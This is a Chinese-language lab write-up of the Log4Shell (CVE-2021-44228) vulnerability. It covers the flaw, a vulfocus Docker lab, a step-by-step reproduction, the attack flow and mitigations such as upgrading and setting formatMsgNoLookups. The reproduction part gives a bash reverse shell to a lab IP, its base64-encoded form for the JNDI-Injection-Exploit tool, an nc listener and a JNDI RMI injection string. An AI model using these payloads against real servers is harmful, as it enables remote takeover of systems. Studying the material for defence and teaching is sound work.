免责声明: 本文仅用于技术研究和教育目的,旨在帮助安全专业人员、开发人员和系统管理员理解并防御此漏洞。严禁将本文内容用于任何非法活动或未经授权的测试。一切因滥用本文信息而导致的法律后果,由使用者自行承担。
一、漏洞简介
Log4Shell (CVE-2021-44228) 是一个存在于 Apache Log4j 2 Java 日志记录库中的高危远程代码执行(RCE)漏洞。该漏洞源于 Log4j 的 JNDI Lookup 功能,当程序记录包含特定恶意字符串 ${jndi:...} 的用户输入时,Log4j 会解析该字符串,并通过 JNDI(Java Naming and Directory Interface)协议连接到远程服务器(如 LDAP, RMI),并加载执行远程服务器上的恶意 Java 代码,从而导致攻击者可以完全控制受害服务器。
漏洞触发核心条件:
目标系统使用了存在漏洞的 Log4j 2 版本(2.0 <= version <= 2.14.1)。
应用程序将用户可控的输入(如 HTTP Header, URL参数, POST数据等)进行了日志记录。
目标服务器的 JDK 版本较低(如 JDK 8u191, 7u201, 6u211 之前),允许 JNDI 远程类加载。
二、实验环境与工具准备
- 靶场环境 (Vulnerable Server)
启动靶场
docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=ip addr show eth0 | grep "inet\b" | awk '{print $2}' | cut -d/ -f1vulfocus/vulfocus
三、漏洞复现
验证漏洞存在

存在ldap漏洞以及使用1.8版本java (DNSLog Platform)
准备反弹 Shell 命令
为了在目标服务器上执行命令,我们通常使用反弹 Shell。
bash -i >& /dev/tcp/192.168.137.140/6666 0>&1
为了避免在传输过程中因特殊字符导致命令执行失败,我们通常对其进行 Base64 编码。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xNDAvNjY2NiAwPiYxCg==}|{base64,-d}|{bash,-i}" -A "192.168.137.140"
监听端口
nc -lvvp 6666
在攻击机上,使用 JNDI-Injection-Exploit 工具来启动一个恶意的 RMI 服务。这个服务会等待靶机通过 JNDI 来请求,然后返回我们准备好的恶意指令。
# 将 -C 后面的 Base64 编码和 -A 后面的 IP 地址替换为你自己的
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xNDAvNjY2NiAwPiYxCg==}|{base64,-d}|{bash,-i}" -A "192.168.137.140"我们选择其中一个 RMI 的 Payload
${jndi:rmi://192.168.137.140:1099/htwrhd}
进行url编码
%24%7bjndi%3armi%3a%2f%2f192.168.137.140%3a1099%2f1uqpvu%7d
执行

获得shell
四、漏洞原理解析
整个攻击流程可以概括为下图:
攻击者 -> 发送恶意JNDI字符串到Web应用 -> Web应用使用Log4j记录日志 -> Log4j触发JNDI查询 -> 向攻击者控制的RMI/LDAP服务器请求 -> 恶意服务器返回恶意Java类引用 -> Web应用下载并执行恶意类 -> 成功执行反弹Shell命令 -> 攻击者获得服务器控制权
核心在于 Log4j 错误地信任并执行了日志内容中的 JNDI Lookup 指令,这是一个典型的“数据与代码未分离”导致的问题。
五、防护与修复建议
升级 Log4j 版本: 这是最根本、最有效的修复方式。立即升级到官方发布的最新安全版本。
临时缓解措施(若无法立即升级):
在 Log4j 2.10.0 及以上版本,可以设置系统属性 log4j2.formatMsgNoLookups 为 true。
在 JVM 启动参数中添加 -Dlog4j2.formatMsgNoLookups=true。
移除 JndiLookup 类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class。
网络层防御:
WAF/IPS: 配置安全策略,拦截请求中包含 ${jndi: 等特征的恶意流量。
限制出站流量: 在防火墙上限制应用服务器对外的 RMI/LDAP 端口(如 1099, 1389, 389 等)的访问,阻止其连接恶意的 JNDI 服务器。
升级 JDK 版本: 使用高版本的 JDK(如 8u191+)可以默认禁用 JNDI 远程类加载,增加攻击难度,但不能完全防御所有利用方式(如基于本地 Gadget 的利用链)。
没有评论